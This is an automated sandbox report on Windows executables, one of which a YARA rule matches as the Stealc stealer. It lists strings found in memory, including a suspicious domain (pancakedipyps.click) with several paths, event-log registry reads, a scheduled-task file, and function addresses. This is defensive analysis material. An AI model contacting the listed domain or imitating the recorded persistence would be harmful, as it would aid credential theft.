Source: 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2445933284.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2286847849.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/bm
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/bu
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/buiXoGK9
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2445933284.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2286847849.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/fe
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2445933284.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2286847849.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/jhBK
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2445933284.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2286847849.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/laiKoJ
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2447560681.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2447560681.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi#oLKU
Source: random(4).exe, 00000000.00000003.1751972120.00000000053F2000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221476307.0000000003C75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2255922169.0000000003CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2255922169.0000000003CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2228560257.000000000B762000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: random(4).exe, 00000000.00000003.1763262995.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1762994374.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1763106978.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751972120.00000000053F2000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1752021463.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2131344489.00000000053ED000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221672138.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2235257275.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2234911700.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221476307.0000000003C73000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2235067086.0000000003C27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: random(4).exe, 00000000.00000003.1752021463.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221672138.0000000003C02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: random(4).exe, 00000000.00000003.1763262995.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1762994374.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1763106978.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751972120.00000000053F2000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1752021463.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2131344489.00000000053ED000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221672138.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2235257275.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2234911700.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221476307.0000000003C73000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2235067086.0000000003C27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: random(4).exe, 00000000.00000003.1752021463.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221672138.0000000003C02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: random(4).exe, 00000000.00000003.1802124250.000000000539B000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801768237.0000000005399000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1787935893.0000000005397000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1788085717.0000000005398000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791965316.0000000005399000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2267594754.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: random(4).exe, 00000000.00000003.1776580455.000000000539D000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256532484.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007A4000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2255922169.0000000003CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007A4000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007A4000.00000040.00000001.01000000.00000006.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.0000000000887000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.0000000000887000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2255922169.0000000003CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007A4000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: random(4).exe, 00000000.00000003.1776302500.00000000054B9000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2228560257.000000000B762000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2255922169.0000000003CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2255922169.0000000003CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007A4000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: random(4).exe, 00000000.00000003.1776302500.00000000054B9000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2228560257.000000000B762000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2255922169.0000000003CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007A4000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell

Reads the System eventlog

Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io
Source: 33.2.334592f815.exe.3d0000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io
Source: 39.2.334592f815.exe.3d0000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

PE file contains section with special chars

Source: random(4).exe	Static PE information: section name:
Source: random(4).exe	Static PE information: section name: .idata
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe.0.dr	Static PE information: section name:
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe.0.dr	Static PE information: section name: .idata
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.0.dr	Static PE information: section name:
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.0.dr	Static PE information: section name: .idata
Source: random[2].exe.4.dr	Static PE information: section name:
Source: random[2].exe.4.dr	Static PE information: section name: .idata
Source: FIJDGIJJKE.exe.4.dr	Static PE information: section name:
Source: FIJDGIJJKE.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: random[4].exe.9.dr	Static PE information: section name:
Source: random[4].exe.9.dr	Static PE information: section name: .idata
Source: 8a0ebcc2e0.exe.9.dr	Static PE information: section name:
Source: 8a0ebcc2e0.exe.9.dr	Static PE information: section name: .idata
Source: random[2].exe.9.dr	Static PE information: section name:
Source: random[2].exe.9.dr	Static PE information: section name: .idata
Source: random[2].exe.9.dr	Static PE information: section name:
Source: d76dd796e0.exe.9.dr	Static PE information: section name:
Source: d76dd796e0.exe.9.dr	Static PE information: section name: .idata
Source: d76dd796e0.exe.9.dr	Static PE information: section name:
Source: random[2].exe0.9.dr	Static PE information: section name:
Source: random[2].exe0.9.dr	Static PE information: section name: .idata
Source: random[2].exe0.9.dr	Static PE information: section name:
Source: e13ae12563.exe.9.dr	Static PE information: section name:
Source: e13ae12563.exe.9.dr	Static PE information: section name: .idata
Source: e13ae12563.exe.9.dr	Static PE information: section name:
Source: random[3].exe0.9.dr	Static PE information: section name:
Source: random[3].exe0.9.dr	Static PE information: section name: .idata
Source: random[3].exe0.9.dr	Static PE information: section name:
Source: 13f4808de9.exe.9.dr	Static PE information: section name:
Source: 13f4808de9.exe.9.dr	Static PE information: section name: .idata
Source: 13f4808de9.exe.9.dr	Static PE information: section name:
Source: random[3].exe1.9.dr	Static PE information: section name:
Source: random[3].exe1.9.dr	Static PE information: section name: .idata
Source: 6319f0cc28.exe.9.dr	Static PE information: section name:
Source: 6319f0cc28.exe.9.dr	Static PE information: section name: .idata
Source: random[3].exe2.9.dr	Static PE information: section name:
Source: random[3].exe2.9.dr	Static PE information: section name: .idata
Source: 334592f815.exe.9.dr	Static PE information: section name:
Source: 334592f815.exe.9.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF1F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	4_2_6BF1F280
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF7B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	4_2_6BF7B910
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF7B8C0 rand_s,NtQueryVirtualMemory,	4_2_6BF7B8C0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF7B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	4_2_6BF7B700
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF3ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	4_2_6BF3ED10

Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF135A0	4_2_6BF135A0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF853C8	4_2_6BF853C8
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF1F380	4_2_6BF1F380
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF2C370	4_2_6BF2C370
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF15340	4_2_6BF15340
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF5D320	4_2_6BF5D320
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF31AF0	4_2_6BF31AF0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF5E2F0	4_2_6BF5E2F0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF58AC0	4_2_6BF58AC0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF2CAB0	4_2_6BF2CAB0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF82AB0	4_2_6BF82AB0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF122A0	4_2_6BF122A0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF44AA0	4_2_6BF44AA0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF8BA90	4_2_6BF8BA90
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF59A60	4_2_6BF59A60
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF4D9B0	4_2_6BF4D9B0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF1C9A0	4_2_6BF1C9A0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF55190	4_2_6BF55190
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF72990	4_2_6BF72990
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF6B970	4_2_6BF6B970
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF8B170	4_2_6BF8B170
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF2D960	4_2_6BF2D960
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF3A940	4_2_6BF3A940
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF3C0E0	4_2_6BF3C0E0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF558E0	4_2_6BF558E0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF850C7	4_2_6BF850C7
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF460A0	4_2_6BF460A0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF5F070	4_2_6BF5F070
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF38850	4_2_6BF38850
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF3D850	4_2_6BF3D850
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF5B820	4_2_6BF5B820
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF64820	4_2_6BF64820
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF27810	4_2_6BF27810
